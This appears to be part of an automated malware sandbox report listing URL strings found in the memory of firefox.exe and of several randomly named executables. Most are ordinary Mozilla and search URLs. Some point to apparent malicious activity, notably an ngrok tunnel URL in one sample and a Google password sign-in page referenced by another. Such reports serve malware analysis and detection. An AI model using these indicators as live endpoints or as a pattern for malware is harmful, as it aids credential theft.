Source: firefox.exe, 0000001A.00000002.2918686283.000001F5D7080000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2901178326.000001F5D5326000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2907811330.000001F5D6A5D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2966905392.000001F5DA917000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2874478780.0000014CC8430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2875238441.00000207759C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://accounts.firefox.com/
Source: firefox.exe, 0000001A.00000002.2918686283.000001F5D7080000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2874478780.0000014CC8430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2875238441.00000207759C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://accounts.firefox.com/settings/clients
Source: firefox.exe, 0000001A.00000002.2974318304.000001F5DBF9B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.firefox.comK
Source: 9108c36d20.exe, 0000000C.00000003.2764187644.00000000013E8000.00000004.00000020.00020000.00000000.sdmp, 9108c36d20.exe, 0000000C.00000003.2764434642.00000000013E8000.00000004.00000020.00020000.00000000.sdmp, 9108c36d20.exe, 0000000C.00000002.2778430097.00000000013E8000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2973623994.000001F5DBE22000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2999734335.000001F5E212F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2871949894.00000090DF7D8000.00000004.00000010.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2972219570.000001F5DBC30000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2979130872.000001F5DCF6D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/v3/signin/challenge/pwd
Source: firefox.exe, 0000001A.00000002.2999734335.000001F5E212F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/v3/signin/challenge/pwdp
Source: 150f368769.exe, 00000007.00000003.2466286777.0000000007332000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://ace-snapper-privately.ngrok-free.app/test/test
Source: 150f368769.exe, 00000007.00000003.2466286777.0000000007332000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://ace-snapper-privately.ngrok-free.app/test/testFailed
Source: firefox.exe, 0000001A.00000002.2920935339.000001F5D7740000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2904499352.000001F5D5D03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2920935339.000001F5D77B9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2948051359.000001F5D942B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org
Source: firefox.exe, 0000001A.00000002.2918686283.000001F5D7080000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2874478780.0000014CC8430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2875238441.00000207759C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/%APP%/blocked-addon/%addonID%/%addonVersion%/
Source: firefox.exe, 0000001A.00000002.2918686283.000001F5D7080000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2874478780.0000014CC8430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2875238441.00000207759C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/
Source: firefox.exe, 0000001A.00000002.2918686283.000001F5D7080000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2874478780.0000014CC8430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2875238441.00000207759C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/language-tools/
Source: firefox.exe, 0000001A.00000002.2918686283.000001F5D7080000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2874478780.0000014CC8430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2875238441.00000207759C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/search-engines/
Source: firefox.exe, 0000001A.00000002.2918686283.000001F5D7080000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2874478780.0000014CC8430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2875238441.00000207759C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/search?q=%TERMS%&platform=%OS%&appver=%VERSION%
Source: firefox.exe, 0000001A.00000002.2918686283.000001F5D7080000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2874478780.0000014CC8430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2875238441.00000207759C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/themes
Source: firefox.exe, 0000001A.00000002.2904499352.000001F5D5D03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.orgaccount-connection-disconnectedshowBadgeOnlyNotificationpictureinpicture.s
Source: firefox.exe, 0000001A.00000002.2966905392.000001F5DA905000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2964951731.000001F5DA87D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2964951731.000001F5DA8AA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ads.stickyadstv.com/firefox-etp
Source: firefox.exe, 0000001A.00000002.3011560963.0000035AA7C04000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2901178326.000001F5D5326000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2907811330.000001F5D6A04000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://amazon.com
Source: firefox.exe, 0000001A.00000002.2918686283.000001F5D7080000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2874478780.0000014CC8430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2875238441.00000207759C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://api.accounts.firefox.com/v1
Source: firefox.exe, 0000001A.00000002.2918686283.000001F5D7080000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2874478780.0000014CC8430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2875238441.00000207759C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://apps.apple.com/app/firefox-private-safe-browser/id989804926
Source: firefox.exe, 0000001A.00000002.2918686283.000001F5D7080000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2874478780.0000014CC8430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2875238441.00000207759C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://apps.apple.com/us/app/firefox-private-network-vpn/id1489407738
Source: firefox.exe, 0000001A.00000002.2918686283.000001F5D7080000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2874478780.0000014CC8430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2875238441.00000207759C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org/update/3/GMP/%VERSION%/%BUILD_ID%/%BUILD_TARGET%/%LOCALE%/%CHANNEL%/%OS_VER
Source: firefox.exe, 0000001A.00000002.2918686283.000001F5D7080000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2874478780.0000014CC8430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2875238441.00000207759C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org/update/3/SystemAddons/%VERSION%/%BUILD_ID%/%BUILD_TARGET%/%LOCALE%/%CHANNEL
Source: firefox.exe, 0000001A.00000002.2898015922.000001F5C9B11000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org/update/6/%PRODUCT%/%VERSION%/%BUILD_ID%/%BUILD_TARGET%/%LOCALE%/%CHANNEL%/%
Source: firefox.exe, 0000001A.00000002.3011560963.0000035AA7C04000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://baidu.com
Source: firefox.exe, 0000001A.00000002.2918686283.000001F5D7080000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2874478780.0000014CC8430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2875238441.00000207759C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://blocked.cdn.mozilla.net/
Source: firefox.exe, 0000001A.00000002.2918686283.000001F5D7080000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2874478780.0000014CC8430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2875238441.00000207759C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://blocked.cdn.mozilla.net/%blockID%.html
Source: 22a4a09ee3.exe, 00000009.00000003.2671378338.00000000058C1000.00000004.00000800.00020000.00000000.sdmp, 22a4a09ee3.exe, 0000000B.00000003.2836324178.0000000005DC1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2901178326.000001F5D53AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2901178326.000001F5D5326000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2907811330.000001F5D6A5D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2907811330.000001F5D6A04000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2875199555.0000014CC86C8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.2875888306.0000020775BF0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.
Source: firefox.exe, 0000001A.00000002.2901178326.000001F5D53AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2901178326.000001F5D5326000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2907811330.000001F5D6A5D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2907811330.000001F5D6A04000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2875199555.0000014CC86C8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.2875888306.0000020775BF0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta
Source: firefox.exe, 0000001A.00000002.2970783529.000001F5DBA15000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2907811330.000001F5D6A48000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mo
Source: firefox.exe, 0000001A.00000002.2997556881.000001F5E2083000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1539075
Source: firefox.exe, 0000001A.00000002.2997556881.000001F5E2083000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1584464
Source: firefox.exe, 0000001A.00000002.2997556881.000001F5E2083000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1607439
Source: firefox.exe, 0000001A.00000002.2997556881.000001F5E2083000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1616739
Source: 22a4a09ee3.exe, 00000009.00000003.2614717788.000000000590B000.00000004.00000800.00020000.00000000.sdmp, 22a4a09ee3.exe, 00000009.00000003.2614559010.000000000590D000.00000004.00000800.00020000.00000000.sdmp, 22a4a09ee3.exe, 0000000B.00000003.2759142674.0000000005DEF000.00000004.00000800.00020000.00000000.sdmp, 22a4a09ee3.exe, 0000000B.00000003.2766702537.0000000005DD8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: 22a4a09ee3.exe, 00000009.00000003.2614717788.000000000590B000.00000004.00000800.00020000.00000000.sdmp, 22a4a09ee3.exe, 00000009.00000003.2614559010.000000000590D000.00000004.00000800.00020000.00000000.sdmp, 22a4a09ee3.exe, 0000000B.00000003.2759142674.0000000005DEF000.00000004.00000800.00020000.00000000.sdmp, 22a4a09ee3.exe, 0000000B.00000003.2766702537.0000000005DD8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: 22a4a09ee3.exe, 00000009.00000003.2614717788.000000000590B000.00000004.00000800.00020000.00000000.sdmp, 22a4a09ee3.exe, 00000009.00000003.2614559010.000000000590D000.00000004.00000800.00020000.00000000.sdmp, 22a4a09ee3.exe, 0000000B.00000003.2759142674.0000000005DEF000.00000004.00000800.00020000.00000000.sdmp, 22a4a09ee3.exe, 0000000B.00000003.2766702537.0000000005DD8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: firefox.exe, 0000001A.00000002.2918686283.000001F5D7080000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2874478780.0000014CC8430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2875238441.00000207759C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://color.firefox.com/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_content=theme-f
Source: firefox.exe, 0000001A.00000002.2904499352.000001F5D5D79000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2778891754.000001F5D9777000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2955392353.000001F5D9990000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000003.2769996475.000001F5D9500000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2777223406.000001F5D971F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2778516535.000001F5D975A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://completion.amazon.com/search/complete?q=
Source: firefox.exe, 0000001A.00000002.2918686283.000001F5D7080000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2874478780.0000014CC8430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2875238441.00000207759C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://content.cdn.mozilla.net
Source: 22a4a09ee3.exe, 00000009.00000003.2671378338.00000000058C1000.00000004.00000800.00020000.00000000.sdmp, 22a4a09ee3.exe, 0000000B.00000003.2836324178.0000000005DC1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2901178326.000001F5D53AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2901178326.000001F5D5326000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2907811330.000001F5D6A5D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2875199555.0000014CC86C8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.2875888306.0000020775BF0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg
Source: firefox.exe, 0000001A.00000002.2901178326.000001F5D53AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2901178326.000001F5D5326000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2907811330.000001F5D6A5D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2907811330.000001F5D6A04000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2875199555.0000014CC86C8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.2875888306.0000020775BF0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: firefox.exe, 0000001A.00000002.2918686283.000001F5D7080000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2990179924.000001F5E1883000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2966905392.000001F5DA92E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2994497967.000001F5E1E62000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2874478780.0000014CC8430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2875238441.00000207759C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://contile.services.mozilla.com/v1/tiles
Source: firefox.exe, 0000001A.00000002.2918686283.000001F5D7080000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2874478780.0000014CC8430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2875238441.00000207759C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://coverage.mozilla.org
Source: firefox.exe, 0000001A.00000002.2898015922.000001F5C9B30000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2898015922.000001F5C9B11000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://crash-reports.mozilla.com/submit?id=
Source: firefox.exe, 0000001A.00000002.2918686283.000001F5D7080000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2874478780.0000014CC8430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2875238441.00000207759C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://crash-stats.mozilla.org/report/index/
Source: firefox.exe, 0000001A.00000003.2859805573.000001F5E2223000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3001723080.000001F5E2223000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://crbug.com/993268
Source: 150f368769.exe, 00000007.00000003.2466286777.0000000007332000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://curl.se/docs/alt-svc.html
Source: 150f368769.exe, 00000007.00000003.2466286777.0000000007332000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://curl.se/docs/hsts.html
Source: 150f368769.exe, 00000007.00000003.2466286777.0000000007332000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://curl.se/docs/http-cookies.html
Source: firefox.exe, 0000001A.00000002.2918686283.000001F5D7080000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2874478780.0000014CC8430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2875238441.00000207759C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://dap-02.api.divviup.org
Source: firefox.exe, 0000001A.00000002.2903734560.000001F5D5C2D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2903734560.000001F5D5C13000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Mozilla/Add-ons/WebExtensions/API/tabs/captureTab
Source: firefox.exe, 0000001A.00000002.2903734560.000001F5D5C13000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Element/releasePointerCapture
Source: firefox.exe, 0000001A.00000002.2903734560.000001F5D5C2D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2903734560.000001F5D5C13000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Element/setPointerCapture
Source: firefox.exe, 0000001A.00000002.2903734560.000001F5D5C2D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2903734560.000001F5D5C13000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Push_API/Using_the_Push_API#Encryption
Source: firefox.exe, 0000001A.00000002.2904499352.000001F5D5D03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/Add-ons/WebExtensions/manifest.json/commands#Key_combinations
Source: firefox.exe, 0000001A.00000002.2904499352.000001F5D5D03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/Add-ons/WebExtensions/manifest.json/commands#Key_combinationsjar
Source: firefox.exe, 0000001A.00000002.2903734560.000001F5D5C2D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2903734560.000001F5D5C13000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Glossary/speculative_parsing
Source: firefox.exe, 0000001A.00000002.3001723080.000001F5E2223000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Web/API/ElementCSSInlineStyle/style#setting_styles)
Source: firefox.exe, 0000001A.00000002.3001723080.000001F5E2223000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/for-await...of
Source: firefox.exe, 0000001A.00000003.2859805573.000001F5E2223000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3001723080.000001F5E2223000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Web/Web_Components/Using_custom_elements#using_the_lifecycl
Source: firefox.exe, 0000001A.00000002.2918686283.000001F5D7080000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2874478780.0000014CC8430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2875238441.00000207759C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://developers.google.com/safe-browsing/v4/advisory
Source: firefox.exe, 0000001A.00000002.3011560963.0000035AA7C04000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2901178326.000001F5D5326000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2907811330.000001F5D6A04000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com
Source: firefox.exe, 0000001A.00000003.2777830670.000001F5D973C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2778891754.000001F5D9777000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3013930619.00003952FD404000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2955392353.000001F5D9990000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000003.2769996475.000001F5D9500000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2777223406.000001F5D971F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2778516535.000001F5D975A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2964951731.000001F5DA838000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3013715146.00002DDFCEE04000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/
Source: 22a4a09ee3.exe, 00000009.00000003.2614717788.000000000590B000.00000004.00000800.00020000.00000000.sdmp, 22a4a09ee3.exe, 00000009.00000003.2614559010.000000000590D000.00000004.00000800.00020000.00000000.sdmp, 22a4a09ee3.exe, 0000000B.00000003.2759142674.0000000005DEF000.00000004.00000800.00020000.00000000.sdmp, 22a4a09ee3.exe, 0000000B.00000003.2766702537.0000000005DD8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: 22a4a09ee3.exe, 00000009.00000003.2614717788.000000000590B000.00000004.00000800.00020000.00000000.sdmp, 22a4a09ee3.exe, 00000009.00000003.2614559010.000000000590D000.00000004.00000800.00020000.00000000.sdmp, 22a4a09ee3.exe, 0000000B.00000003.2759142674.0000000005DEF000.00000004.00000800.00020000.00000000.sdmp, 22a4a09ee3.exe, 0000000B.00000003.2766702537.0000000005DD8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: 22a4a09ee3.exe, 00000009.00000003.2614717788.000000000590B000.00000004.00000800.00020000.00000000.sdmp, 22a4a09ee3.exe, 00000009.00000003.2614559010.000000000590D000.00000004.00000800.00020000.00000000.sdmp, 22a4a09ee3.exe, 0000000B.00000003.2759142674.0000000005DEF000.00000004.00000800.00020000.00000000.sdmp, 22a4a09ee3.exe, 0000000B.00000003.2766702537.0000000005DD8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: firefox.exe, 0000001A.00000002.2920935339.000001F5D7797000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2933620276.000001F5D8F2B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2902855441.000001F5D597D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2904499352.000001F5D5D79000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2783930900.000001F5D8F1D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2784354552.000001F5D8F33000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2783358130.000001F5D8F33000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://e.mail.ru/cgi-bin/sentmsg?mailto=%s
Source: firefox.exe, 0000001A.00000002.2904499352.000001F5D5D79000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://e.mail.ru/cgi-bin/sentmsg?mailto=%shttps://mail.inbox.lv/compose?to=%sFirst
Source: firefox.exe, 0000001A.00000002.2901178326.000001F5D5354000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://e.mail.ru/cgi-bin/sentmsg?mailto=%sz
Source: firefox.exe, 0000001A.00000002.2901178326.000001F5D5354000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://e.mail.ru/cgi-bin/sentmsg?mailto=%szw
Source: firefox.exe, 0000001A.00000002.3011560963.0000035AA7C04000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ebay.comP
Source: firefox.exe, 0000001A.00000002.2920935339.000001F5D7797000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2933620276.000001F5D8F2B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2904499352.000001F5D5D79000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2783930900.000001F5D8F1D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2784354552.000001F5D8F33000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2783358130.000001F5D8F33000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://email.seznam.cz/newMessageScreen?mailto=%s
Source: firefox.exe, 0000001A.00000002.2903734560.000001F5D5C2D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2903734560.000001F5D5C13000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://extensionworkshop.com/documentation/publish/self-distribution/
Source: firefox.exe, 0000001A.00000002.2966905392.000001F5DA954000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3007478563.000001F5E357B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2904499352.000001F5D5D79000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2901178326.000001F5D5326000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2907811330.000001F5D6A5D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2994497967.000001F5E1E9C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.2875888306.0000020775B12000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-api-proxy.cdn.mozilla.net/
Source: firefox.exe, 0000001A.00000002.2918686283.000001F5D7080000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2874478780.0000014CC8430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000021.00000002.2875238441.00000207759C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://firefox-source-docs.mozilla.org/networking/dns/trr-skip-reasons.html#
